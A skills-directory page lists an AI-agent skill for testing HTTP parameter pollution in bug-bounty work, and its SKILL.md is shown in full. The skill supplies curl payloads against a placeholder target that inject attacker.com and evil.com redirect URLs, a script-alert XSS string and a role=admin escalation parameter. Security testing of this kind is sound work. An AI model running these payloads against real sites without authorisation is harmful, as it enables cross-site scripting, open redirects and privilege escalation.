Skip to content
Back to skills

Attack Parameter Pollution

ASecurity

HTTP Parameter Pollution — client/server-side HPP via duplicate parameters and social sharing button pollution

  • 30 stars
  • 0 votes
  • 0 copies
  • 2 views
  • Added November 8, 2026
ai-agentsgobashtestinggitapi

Works with

  • cli
  • api

Security analysis

A100/100

Scanned November 8, 2026

npx -y skills add majiayu000/claude-skill-registry-data --skill attack-parameter-pollution --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Attack Parameter Pollution?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Attack Parameter Pollution
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/majiayu000-attack-parameter-pollution/badge)](https://www.skillsdirectory.com/skills/majiayu000-attack-parameter-pollution)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: attack-parameter-pollution
description: "HTTP Parameter Pollution — client/server-side HPP via duplicate parameters and social sharing button pollution"
category: "input-validation"
version: "1.0"
author: "bountyreper-official"
tags:
  - hpp
  - parameter-pollution
  - injection
tech_stack:
  - web
cwe_ids:
  - CWE-235
chains_with:
  - wstg-injection
  - attack-open-redirect
prerequisites: []
---

# HTTP Parameter Pollution

## Objective

Exploit inconsistent parsing of duplicate HTTP parameters between client and server, and via social sharing buttons.

> **Attribution:** Methodology from [KathanP19/HowToHunt — Parameter_Pollution](https://github.com/KathanP19/HowToHunt/tree/master/Parameter_Pollution). Licensed GPL-3.0.

## Testing Methodology

### Client-Side HPP (Social Sharing)

Many sites build sharing URLs client-side without encoding:

```html
<!-- Vulnerable: pollutes sharing URL -->
https://target.com/share?url=https://target.com/page&url=//attacker.com
```

Test:
```bash
curl "https://target.com/share?url=https://attacker.com&url=https://target.com/page" -D-
# Check if attacker URL reflected in sharing link
```

### Server-Side HPP

```bash
# Duplicate param — server may take first, WAF second, or concatenate
curl "https://target.com/search?q=test&q=<script>alert(1)</script>"
curl "https://target.com/api?role=user&role=admin"

# Pollute via social buttons (Twitter/Facebook share links carry params)
# Intercept share button link, add &url=//evil.com
```

## What Constitutes a Finding

| Condition | Severity |
|-----------|----------|
| HPP leads to XSS via reflected parameter | High (P2) |
| HPP leads to privilege escalation (role=admin) | High (P2) |
| HPP via sharing button open redirect | Medium (P3) |

## References

- [HowToHunt — Parameter Pollution](https://github.com/KathanP19/HowToHunt/tree/master/Parameter_Pollution)

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in ai-agents →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.